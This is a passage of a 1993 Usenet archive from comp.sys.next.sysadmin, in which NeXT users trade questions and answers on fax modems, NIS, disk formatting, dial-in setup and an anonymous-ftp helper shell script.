"Alice in Wonderland".
Newsgroups: comp.sys.next.sysadmin From: jfreem@ecsvax.uncecs.edu (Joe Freeman) Subject: NIS - mail.byaddr Message-ID: <1993Mar30.123857.13313@ecsvax.uncecs.edu> Organization: UNC Educational Computing Service Distribution: usa Date: Tue, 30 Mar 1993 12:38:57 GMT I'm interested in using the "reverse alias" feature in sendmail. Though, it seems that it requires that NIS is running. Now, I only want to run NIS for this single feature. So, I ran makedbm and ypinit (?) to build my tables. Then I set the domain name of my machine using HostManager. I didn't put the + signs in any of the files cause I don't want to use NIS/YP for anything but this alias translation Now, I guess the question is what is the file format for the ASCII version of this table? And, is there an easier way to do this? -- Joe Freeman joe@FreemanSoft.com (919).783.7033 The opinions espressed here are my own and are not shared by my former employer.
From: dan@coactive.com (dan hennage) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: better FAX support Date: 29 Mar 1993 19:46:04 GMT Organization: Coactive Aesthetics Inc. Message-ID: <1p7jlsINNbrd@disc.coactive.com> Does anyone know of software for better FAX support. Specifically I'd like to be able to: 1) Combine multiple documents from a single application or from multiple applications into a single FAX. 2) Save FAXes (or portions of FAXes) in Encapsulated PostScript files. Thanks. --- dan hennage coactive aesthetics po box 425967, san francisco, ca 94142 dan@coactive.com voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.sysadmin From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: Timezone info in Preferences incomplete Message-ID: <1993Mar30.130727.19103@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <3722@nlsun1.oracle.nl> <1993Mar29.204838.16465@bernina.ethz.ch> <C4oDnr.2M1@ux1.cso.uiuc.edu> Date: Tue, 30 Mar 1993 13:07:27 GMT In article <C4oDnr.2M1@ux1.cso.uiuc.edu> lemson@uiuc.edu writes: >marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes: >>it looks like that). What I hate more is that there is no possibility >>to set this globally (it makes no sense to me that one user has time >>zone X and another user has time zone Y). >Not true. Change the time zone as root and remove the setuid bit >from /usr/lib/Preferences/set_time_zone if you're running 3.0. This >is documented in the Network&SysAdmin manual chapter 16. (if you're >running 2.1, simply remove the setuid bit from >/NextApps/Preferences) Yes, that's ok. But, when you launch Preferences (as an ordinary User) the map display (including the popup) won't be correct. -Marcel
From: farhat@argos.enst.fr (Jocelyne Farhat) Newsgroups: comp.sys.next.sysadmin Subject: Mach Environment Manager Message-ID: <3908@ulysse.enst.fr> Date: 30 Mar 93 12:06:12 GMT Sender: news@ulysse.enst.fr Organization: Telecom Paris, France I am looking for an include file that represents the server 'Mach Environment Manager'. It is usually located in the /servers directory of Mach under the name "env_mgr.h". I am working on a NeXT station. Does anybody know where I can find this file? Merci.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Where is "Using Icon.app with NeXTSTEP 3.0"? Message-ID: <1993Mar30.135724.26901@linus.mitre.org> Keywords: Icon.app NS 3.0 patch Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Tue, 30 Mar 1993 13:57:24 GMT Do you know where I can find a copy of the "Using Icon.app with NeXTSTEP 3.0" document? I looked on the ftp sites, but did not find it. Thank you, Jason -- Jason D. Blue _ |_ __ '' _ ____ _ _ '' _ _ ___ _ __ jblue@mitre.org | | | | | | \| | | | | | | The MITRE Corporation, McLean VA | / __|_ | | __\ | | |_/ /| |
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"? Message-ID: <1993Mar30.162511.1888@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1993Mar30.135724.26901@linus.mitre.org> Date: Tue, 30 Mar 93 16:25:11 GMT Jason D. Blue writes > > Do you know where I can find a copy of the "Using Icon.app > with NeXTSTEP 3.0" document? I looked on the ftp sites, but > did not find it. > Sonata.cc.purdue.edu, in pub/next/submissions -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin From: lorinr@altsys.com (Lorin Rivers III) Subject: Re: Can't use Edit properly from workspace after de-installing Emacs.app Message-ID: <1993Mar30.155740.4995@altsys.com> Keywords: Edit, Workspace, Emacs, Tools Organization: Altsys Corporation, Richardson, TX References: <C4oADy.Gr6@mcs.anl.gov> Date: Tue, 30 Mar 1993 15:57:40 GMT In article <C4oADy.Gr6@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes: > >I installed Emacs.app and after some period of time with it I determined >that Edit interacted better with the standard NeXT development environment >so I got rid of Emacs. Now I can't seem to make plain text files open in >Edit by clicking on them in workspace anymore! When I pop the tools >inspector in Workspace it says that there is no tools inspector for that >file!?! > >I am still able to open .c and .h files, but not files with no extension >or files with an unknown extension (eg. cmos.ram). > >Any ideas on how to coerce Workspace into setting a default editor, this >used to work before I installed Emacs.app. > >Thanks, >-- > Peter A. Korp > Assistant Scientist > Argonne National Laboratory > korp@eid.anl.gov Peter, Select a text file in the Workspace, Pop up the Tools Inspector, select Edit.app from the 'list' and click the Set Defaults button. That should take care of it. Good luck! -- Lorin Rivers Lorin_Rivers@altsys.com Altsys Technical Support 214.680.2518 269 W. Renner Parkway NeXT Mail Expected Richardson, Texas 75080 I said it, not my boss
From: michael@wft.stack.urc.tue.nl (Michael Brouwer) Newsgroups: comp.sys.next.sysadmin Subject: Re: Can't use Edit properly from workspace after de-installing Emacs.app Message-ID: <1p95fq$7q@tricky.wft.stack.urc.tue.nl> Date: 30 Mar 93 09:56:10 GMT References: <C4oADy.Gr6@mcs.anl.gov> Organization: Eindhoven University of Technology, the Netherlands In article <C4oADy.Gr6@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes: > Any ideas on how to coerce Workspace into setting a default editor, this > used to work before I installed Emacs.app. dremove WorkSpace DefaultOpenApp Will do the trick. Michael
From: masud@invnext.worldbank.org (masud cader) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Wanted: Faxmodem advice Keywords: fax, modems, drivers, next Message-ID: <1993Mar30.191508.18107@worldbank.org> Date: 30 Mar 93 19:15:08 GMT Sender: news@worldbank.org Organization: The World Bank, Washington, DC, USA I am planning to use SLIP/PPP and hope to buy a high speed modem. However, I would like to purchase a modem which has fax capability with auto data/fax switching and which could "parse" incoming calls for data or fax (and optionally-but REALLY not required voice). Your advice, comments, specifications and musings on this matter will be greatly appreciated. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Masud Cader Trading Analytics The World Bank masud@invnext.worldbank.org
From: lmccullo@nyx.cs.du.edu (Michael McCulloch) Newsgroups: comp.sys.next.sysadmin Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"? Message-ID: <1993Mar30.184734.16955@mnemosyne.cs.du.edu> Date: 30 Mar 93 18:47:34 GMT References: <1993Mar30.135724.26901@linus.mitre.org> <1993Mar30.162511.1888@leland.Stanford.EDU> Sender: usenet@mnemosyne.cs.du.edu (netnews admin account) Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept. In article <1993Mar30.162511.1888@leland.Stanford.EDU> spagiola@frinext.stanford.edu writes: >Jason D. Blue writes >> >> Do you know where I can find a copy of the "Using Icon.app >> with NeXTSTEP 3.0" document? I looked on the ftp sites, but >> did not find it. >> > >Sonata.cc.purdue.edu, in pub/next/submissions Man, that really narrows it down. %^) -- Michael McCulloch mmcculloch@nebula.tbe.com (NeXTmail Accepted!) NeXT Registered Developer #1031 Huntsville, Alabama
Newsgroups: comp.sys.next.sysadmin From: goli@plains (Venkata Nagarjuna Rao Goli) Subject: POSTGRES DBMS on NeXT Sender: usenet@ns1.nodak.edu (Usenet login) Message-ID: <C4pvoC.FuJ@ns1.nodak.edu> Date: Tue, 30 Mar 1993 19:33:48 GMT Organization: North Dakota Higher Education Computing Network Hello Friends, is there any body who installed POSTGRES database management system on NeXT machines? I tried to install it on my NeXT but came to know that POSTGRES needs shared memory and NeXT don't support that. Do you know how to fix this problem. I have Release 2.0 on my NeXT. Please email me. My problem is that I need to write the following lines, to support the shared memory for POSTGRES, in the /usr/sys/conf or kernel configuration file to install POSTGRES. What do you suggest me to do?? In the POSTGRES manual they suggested to add these lines for a sun sparc kernel configuration file. options IPCMESSAGE options IPCSEMAPHORE options IPCSHMEM options EMOREIPCS These are all for the System V IPC ... facility. What are the comatibles in NeXT??? Thanks in advance, (GOLI)
From: bmwu@athena.mit.edu (Benson M. Wu) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Help formatting HP C2247 HD Date: 30 Mar 1993 21:03:35 GMT Organization: Massachusetts Institute of Technology Distribution: na Message-ID: <1pacj7INNgjv@senator-bedfellow.MIT.EDU> Keywords: HP C2247 HD, NeXT Cube I have a few questions regarding using the HP C2247 HD with a NeXT computer. Any tips are appreciated. Background info: I bought this drive as an internal drive about 6 weeks ago. It was apparently used as an internal HD on some workstation computer. Someone converted it to an external HD this week. He had hooked it up to a Mac and ran Silverlining 5.40 and told me that it works and it's 512 bytes per sector. My goals are: 1. change it to 1024 bytes per sector. 2. build system 3.0 on this HD. I currently have a Fujitsu 2263 HD as my interanl HD on a 68040 Cube running system 2.1. I would like to have the choice to boot from either HD as needed. My experience so far: When I hook up this drive initially, the Cube was not able to recognize the drive. It did ask me if I want to initialize the HD. I answered yes and the system choked. I opened up the HD, changed some of the jumpers to a setting so that the HD would be in Asynchronous mode. I then manually formatted the drive with the disk command without any problems. The drive however is at 512 bytes per sector. I would like to make this drive 1024 bytes per sector. So I checked the archives and found Rory Bolt's the-formatter 1.2. It found the drive. However, when I asked the program to format the HPC2247, it gave me a "mode sense " error. I am not sure what that means. The Workspace manager then told me that the drive had a little damage. I re-initialized it and the drive mounted fine. So I am interested in any information that will help me reformat this drive to 1024 bytes per sector. In addition, I would like to know what I should add to my fstab and disktab files so that I could boot from this HD once I installed 3.0 on it. Currently, the external HD has scsi #2 and the internal HD has scsi #1. I wonder if I can just change the scsi ID of the external HD to 0 so that I can boot from it when I want to. sorry, I know this is verbose. Thanks in advance for your help. Best regards, Benson M. Wu bmwu@athena.mit.edu
Newsgroups: comp.sys.next.sysadmin From: john@oceania.com (John Robison) Subject: Re: how to get in touch with other beta testers w/o violating the rules? Message-ID: <C4pzDz.37B@oceania.com> Sender: john@oceania.com (John Robison) Organization: Oceania Health Care Systems References: <1ot5cv$3bd@zaphod.mps.ohio-state.edu> Distribution: usa Date: Tue, 30 Mar 1993 20:53:57 GMT Paul Nevai writes > I am a "beta" tester with a non-disclosure clause for "xyz". Now the > question is how I could get in touch with other beta testers of the same > product so I could discuss some problems which I couldn't discuss > with the company making the product (because my contact people > weren't sufficiently knowledgeable - yes, this sounds unusual). I > can't even mention the name of the product. So how can I start? > Well, If I was your "contact people", I would probably have an E-mail address all set up and ready to go for periodic notifications about my Beta product. Furthermore, I would set-up and maintain that alias in a "mailing list" type of configuration. This would allow *me* to control who is on the list (only beta-testers) while allowing my beta-testers to answer each other's problems without burdening my tech support. :-) :-) I would probably have to re-wite my beta agreement though. (Bummer, all those lawyers cost a lot of time and money!) Of course, your vendor may not do things like I would. :-) :-) My $0.02, John -- John Robison - john@oceania.com NeXTMail Gladly Accepted What I say has absolutely nothing to do with my employer.
Newsgroups: comp.sys.next.sysadmin From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Subject: Re: Ftp with .netrc question Message-ID: <1993Mar30.230433.22124@galileo.cc.rochester.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York References: <1p5cr3$fkf@news.umbc.edu> <C4ooHo.50v@ms.uky.edu> Date: Tue, 30 Mar 93 23:04:33 GMT In <C4ooHo.50v@ms.uky.edu> soward@slow.inslab.uky.edu (John Soward) writes: >gseidman@math16.math.umbc.edu writes >-> In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert >Nicholson) writes: >-> >How can you make my .netrc let me log into any machine with anonymous >-> >ftp? >-> > >-> >Currently if I specify "machine hostname" it will only execute the >-> >commands providing the machine hostname matches the host im currently >-> >connected to in an ftp session. What I would like is to be able to >-> >set it up so that I can just anonymous ftp anywhere. >-> >-> Once again, as many have said before, the only way to default to anonymous >-> login is to use ncftp, by Mike Gleason I believe. If you do not have a >-> ..netrc entry for a host ncftp will automatically attempt an anonymous >-> login. >-> >Why not just use the "alex" package from, I think, nectar.cs.cmu.edu....this >will give you a FTP filesystem... >-- > ________________________________________________________________________ > / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / > / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / > /_______________________________________________________________________/ Or you could use this little shell program written by someone that I regularly use. Just clip everything out below this line, save it as a text file with execute and read permissions by everyone. I then aliased ftp to afrc in my cshrc, but that's personal preference. Remember to change .netrc to no read by everyone else on the system or ftp won't use it! #!/bin/sh # af 1.0 - anonymous ftp program # by Adrian Marian (adrian@milton.u.washington.edu) # # Keeps a list of archive sites in the file $HOME/.afrc, one archive # site per line, with optional comments afterwords on the same line # # When invoked with one argument, takes first line which matches # that argument as a regular expression, and calls ftp on that # archive site. If multiple lines match, then the first match is # used. # # If the specified archive site is not in the .afrc file, it is # temporarily added to the .netrc, and ftp is invoked. After the ftp # you are prompted for comments. The comment 'rm' causes the new # site to be removed from .netrc. Any other comment is added to # the site's new line in the .afrc file. # # Example: # # af wuarchive.wustl.edu # <ftp connects, handling all the password stuff through the .netrc> # <you transfer some files> # quit # Comments: simtel mirror # # This process has created a .afrc file and placed a wuarchive line # in it. Next time you wish to connect to wuarchive, you can do # af wu This matches the 'wu' in wuarchive # af simtel Matches part of the description # af mirror Matches another part of description # af . Matches everything, but wuarchive is first # # modified 05/07/92 by john todd (jtod@alora.cc.rochester.edu) to include # the hash and prompt commands automatically as well as use a better echo # pattern (an older revision used /usr/bin5/echo which isn't on my NeXT) if [ ! $# -eq 1 ] then echo Syntax: af archive.site echo echo Opens an anonymous ftp connection to the archive site which matches echo archive.site in your .afrc file, adding archive.site to the .afrc echo file if it doesn\'t match anything. Grep is used to determine mathing. exit 1 fi # Special options to use with ftp. ftpopts=-i # define the anonymous password password=${USER}@`hostname` # Create the .afrc file if it doesn't exist if [ ! -f $HOME/.afrc ] then echo > $HOME/.afrc fi siteline=`grep $1 $HOME/.afrc` if [ -z "$siteline" ] then # if the site isn't in .afrc, then temporarily add it to .netrc, # connect, and then request comments. cp $HOME/.netrc $HOME/.oldnetrc /bin/echo "machine $1 login anonymous password $password macdef init">>/$HOME/.netrc /bin/echo "hash prompt">> $HOME/.netrc /bin/echo >>$HOME/.netrc ftp $ftpopts $1 echo -n 'Comments: ' read comments # if comment is 'rm' then keep old .netrc file, otherwise fix the .afrc # file and keep the new .netrc if [ "$comments" = rm ] then mv $HOME/.oldnetrc $HOME/.netrc else echo $1 $comments >> $HOME/.afrc rm $HOME/.oldnetrc fi else # Normal operations. We found the site in .afrc, so take the first # part of the line and invoke ftp ftp $ftpopts `echo $siteline | sed 's/ .*//'` fi -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
From: strobel@dirac.phys.washington.edu Newsgroups: comp.sys.next.sysadmin Subject: HELP HELP optical still not mount!!! Date: 31 Mar 93 00:58:13 GMT Organization: University of Washington Distribution: na Message-ID: <strobel.733539493@dirac> Summary: optical still mount after valiant attempts Keywords: optical mount super-block HELP HELP HELP Help! I cannot get an optical disk filled with research data/programs to mount! In the console I get this error: od0a: read failed (bitmap bad but no alternate found!) block 8 phys block 63448 (8114:0:8). Here's what I've tried: Block 8 is a super-block. Using fsck with the alternate super-block 16 brings up a number of blocks above block #151264 that it cannot read. After responding yes to all of the proposed changes fsck suggested (what else could I do?) it indicated the number of files used and free (at end of phase 5). It then said that it could not write to block 8. Repeated attempts with fsck turned up the same blocks not being read. The OD still will not mount and I cannot access any of the files. Is there a way to tell the mount command to use a different super-block? Is there any way I can repair block 8 phys block 63448? Please, please let me know!! I have cleaned the OD and the OD drive and filter. I have also tried what some people suggested: mounting the OD as read only then remounting it as read-write. It tries to read block 8, fails, and will not mount with any of the IO options. Is there anyway I can get the mount command to use alternate super-blocks? I need to get it mounted before I can attempt to copy over any files. Anybody have any other ideas? Nick Strobel strobel@dirac.phys.washington.edu
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: Wanted: Faxmodem advice Message-ID: <tlm.733542626@scl1.al.iastate.edu> Keywords: fax, modems, drivers, next Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1993Mar30.191508.18107@worldbank.org> Date: Wed, 31 Mar 1993 01:50:26 GMT In <1993Mar30.191508.18107@worldbank.org> masud@invnext.worldbank.org (masud cader) writes: >I am planning to use SLIP/PPP and hope to buy a high speed modem. However, I >would like to purchase a modem which has fax capability with auto data/fax >switching and which could "parse" incoming calls for data or fax (and >optionally-but REALLY not required voice). >Your advice, comments, specifications and musings on this matter will be >greatly appreciated. My supra fax modem worked right out of the box like a charm. The DFax software does all you ask and will soon support voicemail as well. Both are quite inexpensive and well worth the $. You might also want to consider a Zyxel modem and the NXFax software. It will also do what you describe, at roughly equivalent prices (i.e. you may pay less or more, depending on how hard you shop). Many people seem to feel that Zyxels handle noisy lines betterthan Supra, but my lines are awful and the Supra just trains up and down to take care of it, so I cannot criticize Supra on this score. Oh yeah, the DFax software will soon work wih the Zyxel, and the NXFax with the Supra, so you can mix and match from these various items. Hope this helps --- Tom
Newsgroups: comp.sys.next.sysadmin From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Re: Backing up to floppies and Old News ? References: <C4CGMv.CEs@newsflash.concordia.ca> Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Tue, 30 Mar 1993 08:16:31 GMT Message-ID: <1993Mar30.081631.11187@proximus.north.de> In article <C4CGMv.CEs@newsflash.concordia.ca> kgnome@cs.concordia.ca (MATIS stephane) writes: > I decided to squeeze two questions into this post. No problem, I decided to try to answer both. > 1. What can I use to back-up to floppies *selected* files and directories > automatically ? > > I have tried to compile GNU tar1.11 and it didn't. I don't like > cpio or dump, as each has limitations. What's left ? Or better as this, > what is there ? I need multi-volume compressed if all possible. If you want to archive it to a disk and you don't have too much changed data each time you do a backup, I would suggest that you maintain the structure of your filessystem that contains the files. (I hope that sentence makes sense, as I'm not an English-native ;-) ) So what you really need is a programm that copies one or more trees from one place to another. It should also keep all permission-bits, timestamps, etc. It should handle symlinks as well. Many programs could handle this. If you also want your program getting the files to copy from stdin (i.e. another data file) you have to write a script for GNU cp (I *think* the NeXT cp is not able to keep permissions and timestamps, but I only use GNU cp, so I'm not sure) or... you use afio: cat /foo/bar | afio -puvxz /Floppy/ I just tested it, it works great. Afio is available at most archives. > 2. Does any company have Internet news avialable on CD-ROM ? 91,92,93 > first quarter ? There are many. But the best might be a new product by JANA. I'll forward parts of their mail: [...] > Toronto, Canada - Feb 22 1993 : JANA Publishing has officially > launched the "CD-ROM NeWS For The NeXT Computer" as of February > 22, 1993, after a long beta testing with over 250 subscribers. [...] > CD-ROM NeWS will be published 6 times a year. The cost > of the subscription is U$59.95(six CD's) for one year and > U$99.95(twelve CD's) for two years. Residents who live out side > of US & Canada have to pay $20/year extra to cover the postage > costs. [...] > Jay N.Janarthanan > Publisher > > Phone : (416)-531-2311 > Fax : (416)-922-5597 > WATS : (800)-363-2083 Best is to ask them! Then there are other disks as well: Internet unplugged for example. But I can't remember all of them. Maybe you ask other people as well. > Best would be something pre-indexed for Librarian and updated > every month/quarter. See above! > > ___ ___ > / \_BATLLETECH > \___/ \___/ > \___/ C2H5 O=C-N< |__ C2H5 / \N_CH3 \___/ / \ /\___/ | | | \/\ / N H -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: comp.sys.next.sysadmin From: tilley@ccu.umanitoba.ca () Subject: Re: 8bits, login and Zyxel Message-ID: <tilley.733557712@tilley> Keywords: 8bits, login, Zyxel Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1993Mar29.082631.19336@urz.unibas.ch> Date: Wed, 31 Mar 1993 06:01:52 GMT frank@ifi.unibas.ch (Robert Frank) writes: > :p8:sp#38400: >The problem: after making the connection, the above initial message (im) is >sent to the caller with parity generated. This shows as 'garbage' on the >receivers screen, as the receiver is expecting 8bits, no parity. >Is there any way I can coax the NeXT (driver, NXFax???) into sending the >initial message with 8bits no parity? I couldn't find any option that would do >this in the gettytab man page. You will have the same problem whether or not you are running NXFax, or using a ZyXEL. Use "zp" as well as "p8" and all will be well. -- .. Richard <tilley@ccu.umanitoba.ca> NextMail OK.
Newsgroups: comp.sys.next.sysadmin From: jfb@langoz.biomath.jussieu.fr (BOISVIEUX Jean-Francois) Subject: Re: Wanted: Faxmodem advice Message-ID: <1993Mar31.064530.29725@jussieu.fr> Sender: news@jussieu.fr (Le Facteur) Organization: Universite Paris VI/Paris VII References: <1993Mar30.191508.18107@worldbank.org> Date: Wed, 31 Mar 1993 06:45:30 GMT In article <1993Mar30.191508.18107@worldbank.org> masud@invnext.worldbank.org (masud cader) writes: > > I am planning to use SLIP/PPP and hope to buy a high speed modem. However, I > would like to purchase a modem which has fax capability with auto data/fax > switching and which could "parse" incoming calls for data or fax (and > optionally-but REALLY not required voice). > > Your advice, comments, specifications and musings on this matter will be > greatly appreciated. > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ > Masud Cader > Trading Analytics > The World Bank > masud@invnext.worldbank.org Here we use both Zyxel (U-1496E) for the lab and SupraFax V32bis(home); using NXFax software on both everything goes fine; fast for uucp, fine for faxes. -- Jean-Francois Boisvieux Departement de Biomathematiques Faculte de medecine Pitie-Salpetriere 75013 Paris France
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo) Newsgroups: comp.sys.next.sysadmin Subject: WARNING: possible FAQs. Dial-in, Supra V.32bis, RTS/CTS. Date: 31 Mar 1993 01:46:06 -0600 Organization: Educational Computing Network Distribution: world Message-ID: <1pbi7u$ig0@uxa.ecn.bgu.edu> Forgive me in advance if this is asked frequently. Where are the FAQs, anyway? Couldn't find them in news.answers. I imagine this may very well be a FAQ, and, if so, please just tell me where I can look the solution up (unless you FEEL like posting). I recently bought a used NeXTstation for home use. I need to set it up for dial-in access at variable speeds from 2400bps up through the maximum that the '040 box will handle. This is 38400bps from what I gather. Here's what I did and what happens: 1) Ordered a NeXT modem cable from NeXTConnection (part #8991) for my Supra V.32bis V.42bis external FAXModem. 2) Edited /etc/ttys and commented out the entry for ttyda and replaced it with an entry for ttydfa: ttydfa "/usr/etc/getty std.9600" vt100 on Note that for now, I'll be happy with 9600bps and down as long as I can get at least connections at 9600bps and 2400 baud. Note also that changing "std.9600" above to "D9600" does nothing to help the situation. 3) Set the modem up to use hardware flow control (which should allow for connect speeds among other things), autoanswer, error correction (V.42), data compression (V.42bis), and follow DTR and DCE, among other things. Here is my configuration (in case someone has done this already and happens to have a Supra V.32bis): ACTIVE PROFILE: B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C0 %E0 %G1 \N0 &C1 &D3 &K3 &Q6 &R0 &S0 &X0 &Y0 S00:001 S01:000 S02:043 S03:013 S04:010 S05:008 S06:002 S07:050 S08:002 S09:006 S10:014 S11:095 S12:050 S18:000 S23:063 S25:005 S26:001 S36:007 S37:000 S38:020 S40:084 S46:136 S48:007 S95:000 S109:062 S110:001 STORED PROFILE 0: B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C0 %E0 %G1 \N0 &C1 &D3 &K3 &Q6 &R0 &S0 &X0 S00:001 S02:043 S06:002 S07:050 S08:002 S09:006 S10:014 S11:095 S12:050 S18:000 S23:063 S25:005 S26:001 S36:007 S37:000 S38:020 S40:084 S46:136 S48:007 S95:000 STORED PROFILE 1: B1 E1 L2 M1 N1 Q0 T V1 W1 X4 Y0 %C1 %E0 %G1 \N3 &C1 &D2 &K3 &Q5 &R0 &S0 &X0 S00:000 S02:043 S06:002 S07:050 S08:002 S09:006 S10:014 S11:095 S12:050 S18:000 S23:059 S25:005 S26:001 S36:007 S37:000 S38:020 S40:087 S46:138 S48:007 S95:000 What happens is that when I dial in (at 2400 baud; I don't have access to a faster modem) I get connected and the Supra connects at the correct speed (ie CONNECT 2400, the LED display confirms it also) but I get garbage on my screen that looks typical of a connection at the wrong speed. I've been experimenting with different possible solutions for hours so I don't think I've overlooked anything blatantly obvious, but who knows. BTW, I have informed init about my changes to /etc/ttys (kill -HUP 1). I'd really like that FAQ and, even more, I'd like to hear from Supra owners who've done this successfully. Best regards, Pred Bundalo Illinois Institute of Technology
Newsgroups: comp.sys.next.sysadmin From: sam@rabbit (sam) Subject: Wanted: Systemhouse seeks 20 NeXT Engineers Message-ID: <C4qBwt.9EG@ny.shl.com> Sender: usenet@ny.shl.com (Net News) Organization: SHL Systemhouse Inc. Date: Wed, 31 Mar 1993 01:24:28 GMT Systemhouse, a $750 million Canadian firm, is recognized as the industry leader in client/server technology. Systemhouse employs over 4,000 people worldwide and maintains a large heterogeneous network of workstations including more than 100 NeXT machines. We are putting together a major effort to have the best NeXT expertise available. Since November we have hired a core group in New York and Boulder, by September we should be up to a staff of 100. We are executing the ideas that others are only talking about - Reusable Object Library - Standard Certification of Objects - Distributed Development - etc. Furthermore we are establishing an Object Technology Center(OTC) for applied Object Oriented methodologies and development techniques. The OTC in Boulder, Colorado, is a research and development facility exploring the cutting edge of the relatively new object technology. The charter of the Center is two-fold: to explore and understand all hardware and software related to the object-oriented development industry; and to establish itself as a focal point where companies in diverse verticals markets can join together to leverage OTC's research and experience. Leading the Center is Vince Jordan, recently of WilTel Advanced Technology Center and recognized in the NeXT community as a pacesetter in the object-oriented development revolution. With WilTel's blessing an participation in the Center, Vince, and a few WilTel engineers, form the core team in this new effort. We need bright, enthusiastic experienced people!!! The following 20 immediate opportunities exist in various U.S. locations: 8 - Object Oriented Programmers * 2+ years Object Oriented Programming (C++/Objective C) * 2+ years database design and database applications * 5 years UNIX/C application development * 2+ years RDBMS (SYBASE preferred) * 1+ years NeXTSTEP applications development * AppKit, DBKit, NeXTSTEP 3.0, OOD * GUI and Porting experience 5 - Senior Applications Development Engineers * 5-7 years UNIX/C applications development * Financial trading applications * 1+ years NeXT/NeXTSTEP/AppKit/DBKit/Objective C * Sun, SYBASE/C++ a plus 5 - Software Engineers * NeXT/UNIX application software development * Strong NeXTSTEP, AppKit, Interface Builder, DBKit * High level design, rapid prototyping in NeXT * Strong Objective C or C++ * 3 to 5 years experience 2 - Database Specialists * 3+ years database design and database applications development (ORACLE/SYBASE preferred) * 3 years UNIX/C application development * 3 years RDBMS experience using an SQL-based RDBMS * 1+ year NeXTSTEP applications a plus * AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective C a plus For more information about these exciting opportunities, call or send your resume to: Sally Ann Martins - Manager, NeXT Recruiting Systemhouse Inc. 885 Third Avenue, 25th Floor New York, New York, U.S.A. 10022-4834 Telephone: 212-303-5500 Fax: 212-303-5595 E-Mail: sam@ny.shl.com More positions available soon!!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"? Message-ID: <1993Mar31.154329.15904@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation References: <1993Mar30.184734.16955@mnemosyne.cs.du.edu> Distribution: usa Date: Wed, 31 Mar 1993 15:43:29 GMT Thank you all who have provided me with the information. For those still looking for it, you can find the document at Sonata.cc.purdue.edu, in /pub/next/submissions. Last time I am going to use the Index of an archive to perform searches on the archive :) Man, it must have really been out of date. Jason
From: rugger@ccwf.cc.utexas.edu (Pam Miller) Newsgroups: comp.admin.policy,comp.arch,comp.os.misc,comp.os.mach,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.sun.admin,comp.unix.aix,comp.unix.admin,comp.unix.admin,comp.sys.hp,comp.sys.dec,comp.sys.sun.misc,comp.unix.aux,comp.unix.questions Subject: Updates and Efixes Date: 31 Mar 1993 16:13:18 GMT Organization: The University of Texas at Austin, Austin TX Distribution: world Message-ID: <1pcfuuINN322@geraldo.cc.utexas.edu> Originator: rugger@sleepy.cc.utexas.edu Hi All, I was hoping to get some input on a boring but important area in computers. If you could design or have input on the update and emergency fix process for your system, what would you like? What would you dislike? Everyone wishes that their OS was shipped bugfree, but this is the real world. What I mean by updates is a system refresh, most vendors periodically send out updates to fix known bugs with their OS. By emergency fixes I mean the situation where you have a critical problem with your OS and your Vendor sends you a fix for that single problem. What systems do this well? Why do you like them. What systems do this in a way you dislike. What Platforms do this well. What Platforms don't do this well. Give me 